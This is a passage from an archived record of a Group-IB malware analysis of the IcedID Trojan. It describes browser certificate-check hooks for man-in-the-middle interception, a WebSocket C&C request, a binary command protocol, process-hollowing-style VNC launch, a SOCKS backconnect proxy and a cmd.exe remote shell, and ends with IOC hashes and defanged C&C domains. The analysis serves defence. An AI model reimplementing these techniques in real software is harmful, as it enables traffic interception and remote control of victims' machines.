functions.\r\nchrome.exe:\r\nCertGetCertificateChain\r\nCertVerifyCertificateChainPolicy\r\nсonnect\r\niexplore.exe:\r\nCertGetCertificateChain\r\nCertVerifyCertificateChainPolicy\r\nFunction from the library mswsock.dll\r\nсonnect\r\nfirefox.exe:\r\nSSL_AuthCertificateHook or function from the library SSL3.dll\r\nсonnect\r\nHooks on functions involving working with certificates and SSL are installed solely to force the browser to accept\r\nall certificates, including self-signed ones. For example, when the SSL_AuthCertificateHook() function\r\n(designed to replace the certificate verification function with its own) is called in the firefox.exe context, the\r\nhooker changes the second argument (the verification function) to its handler:\r\nThe connect() function handler redirects all browser connections to a proxy server. The hooker replaces the\r\ndestination IP address with 127.0.0.1 and substitutes the port with the proxy server’s port. After successfully\r\nconnecting to the proxy server, IcedID sends the following data:\r\nIP and destination port\r\nBrowser type\r\nInformation accepted as an argument from the main module\r\nAs a result, with minimal interference in the browser process, IcedID is able to build the following MiTM pattern:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 25 of 32\n\nWith its own certificate, a proxy server, and patched browsers, IcedID gains full control over browser traffic, even\r\nif all data is secured with SSL.\r\nBC module\r\nThe BC module is designed… to process server commands! That’s right: it’s another module for processing\r\ncommands. Let’s immediately look at the GET request that the module makes to the C\u0026C server:\r\nGET /video/?BAADBEEF0BADFACE HTTP/1.1\r\nHost: \u003c%CnC%\u003e\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: 7jWqKlEyAADuNaoqUTIAAA==\r\nThe BAADBEEF value is BotID, 0BADFACE is DownloaderID, and a timestamp is hidden behind the Sec-WebSocket-Key parameter. It appears that this module uses WebSocket to communicate with the C\u0026C server\r\n(by the way, it uses the same addresses as in the Alive module and port 443). Unfortunately, there is not enough\r\ntime to conduct an in-depth analysis of the protocol and compare it with the RFC. Let’s move on to the commands\r\nthat the application obtains from the C\u0026C server and processes:\r\nCommand Parameter Description\r\n1 IP Changes IP\r\n2 – Sends PING to the server\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 26 of 32\n\nCommand Parameter Description\r\n3 – PONG response from the server\r\n4 Command Executes a fast command\r\nYes, the BC module is able to execute fast commands, which is the prerogative of the Alive module. Perhaps the\r\nmost striking command from the list is to change the IP. As a parameter, the application accepts a C\u0026C server IP\r\naddress through which it connects to port 8080. All communication with the server is carried out using its own\r\nbinary protocol, whose header is as follows:\r\nstruct BcMessageStruct\r\n{\r\nint auth;\r\nbyte command;\r\nint id;\r\nint key;\r\n};\r\nAbove, the auth field that has not changed since at least version 5 of the IcedID core is the constant 0x974F014A,\r\nid is BotID, and key is Downloader ID. The command field accepts the following values:\r\nValue Description\r\n0 Command request\r\n1 Changes the period of connection to the server\r\n2\r\nError on the client side. The application sends this packet if the VNC module failed to start, for\r\nexample\r\n3 Reconnect command\r\n4 Launches the SOCKS module\r\n5 Launches the VNC module\r\nWhen connecting to the server, the application sends a packet with a command field of 0. The server responds\r\nwith a command. This happens in an infinite loop at intervals. The process is tricky to put into words, so let’s use\r\nthe power of imagination the image:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 27 of 32\n\nI simplified the figure by excluding commands 1, 2 and 3. Let’s consider how the VNC and SOCKS modules are\r\nlaunched.\r\nVNC module launch\r\nThe VNC module is launched in the context of the new svchost.exe process. The module itself is in the IcedID\r\nbody in a compressed form. The module is unpacked (but not started) in the context of the Trojan using the\r\nRtlDecompressBuffer() function. Like the main IcedID module, the VNC module consists of two parts: the\r\nshellcode for deploying the Trojan in the svchost.exe context and the module itself.\r\nFirst, IcedID starts the new svchost.exe process in suspended mode with no arguments, after which it writes the\r\nVNC module and the parameters required for the module’s operation: a C\u0026C IP address, port, BotID, Key. It’s\r\nworth nothing how the module is launched: Instead of creating a new thread in the context of a new process,\r\nIcedID installs a hook on the standard function RtlExitUserProcess():\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 28 of 32\n\nIt then starts the process using the function ResumeThread(). The process is started without arguments, so the\r\nsvchost terminates its work quickly and calls the function RtlExitUserProcess(), which is not the same as it was\r\nwhen the application was launched. The JMP instruction transfers control to the VCN module’s shellcode.\r\nInterestingly, the Trojan’s old versions deployed the main IcedID module in the svchost.exe context in the same\r\nway, but for some reason the downloader’s developer abandoned this idea and now IcedID is launched in a far\r\nsimpler way.\r\nSOCKS module launch\r\nAs you may have guessed, this module is designed to proxy traffic between two remote servers. The SOCKS\r\nmodule is in fact a backconnect proxy that performs the corresponding functions: establishes a connection to a\r\nremote server; requests an address, port and parameters; and establishes a connection and proxies traffic between\r\nthe C\u0026C server and the remote server. Let’s examine the module in more depth.\r\nAfter obtaining a command to start the module, the application sends the server an object part of the\r\nBcMessageStruct structure, where command is 4, and the id and key values are borrowed from the request\r\nstructure. In response, the server sends a header, address, and port of the remote server to which a connection must\r\nbe established. The address can be either a domain or an IP. The header consists of 5 bytes. Below is a brief\r\ndescription of the two most noteworthy fields:\r\nOffset Description\r\n2 Address type: domain or IP\r\n3 Request type: SOCKS(0) or cmd(1)\r\nThe header is followed by the address and port. Is it all sounding a little complicated again? Here’s another\r\nvisualization:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 29 of 32\n\nNow for unexpected turn of events: if the C\u0026C server establishes a connection and specifies 127.0.0.1:39426 as\r\nthe address-port pair and the value of the “Request type” field is 1, then the application starts… the cmd.exe\r\nprocess!\r\nI can’t explain why the developer decided to run cmd.exe in the SOCKS module rather than in the command\r\nprocessing module (of which there are literally two). I can only describe how the Trojan performs this task. When\r\ncreating cmd.exe, IcedID binds the I/O of the new process to two pipes, after which it creates two threads: one\r\nthread reads data from the server in a loop and sends it to a writing pipe, while the other reads data from a reading\r\npipe and sends it to the server. That is how the remote server runs the shell and executes commands in it.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 30 of 32\n\nThere should be a conclusion here…\r\nI think it’s time for a summary. In the past a year and a half, IcedID has evolved significantly. It has learned to\r\n“hide” data in the file system and network traffic more effectively and acquired basic VM detection and anti-debugging techniques – and the list of new functions doesn’t end there. The Trojan’s developer is actively\r\ntaking the project further, and many large open-source projects would undoubtedly envy the\r\ndetermination. At Group-IB, we will continue to monitor the Trojan, improve our products, and keep you\r\ninformed of the most interesting updates.\r\nIOCs\r\nLoader/Downloader - second stage\r\narrow_drop_down\r\nc897c555d395627dedf7e9e91623f54c\r\nf89d448700de774c0b27762f327bd13f\r\nca59e8c577f8476dce210bc51c8daf9a\r\nc7ebf2e9976f494355fee936749202a3\r\n589b2d1eff18b651f8344e6a40f6cecf\r\n753a45bfeb6877c2d9d841824d8f59a8\r\nEncrypted main module\r\narrow_drop_down\r\n6A44BEFDED3DA2245EF3A78E396CE5E0 – described in this article\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 31 of 32\n\nC\u0026C\r\narrow_drop_down\r\nhXXps://poloturtles[.]top/audio\r\nhXXps://robertogunez[.]xyz/audio\r\nhXXps://gotofresno[.]xyz/audio\r\nhXXps://fordthunderbirth[.]site/audio\r\nhXXps://luxcarlegend[.]top/audio\r\nhXXps://nicebirththunder[.]cloud/audio\r\nhXXps://totheocean[.]pw/audio\r\nSource: https://www.group-ib.com/blog/icedid\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 32 of 32",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.group-ib.com/blog/icedid"
	],
	"report_names": [
		"icedid"
	],
	"threat_actors": [],
	"ts_created_at": 1777949155,
	"ts_updated_at": 1777949197,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7bedc3239a6f4efa27de13c99b9dd9b2f5ea6e66.pdf",
		"text": "https://archive.orkl.eu/7bedc3239a6f4efa27de13c99b9dd9b2f5ea6e66.txt",
		"img": "https://archive.orkl.eu/7bedc3239a6f4efa27de13c99b9dd9b2f5ea6e66.jpg"
	}
}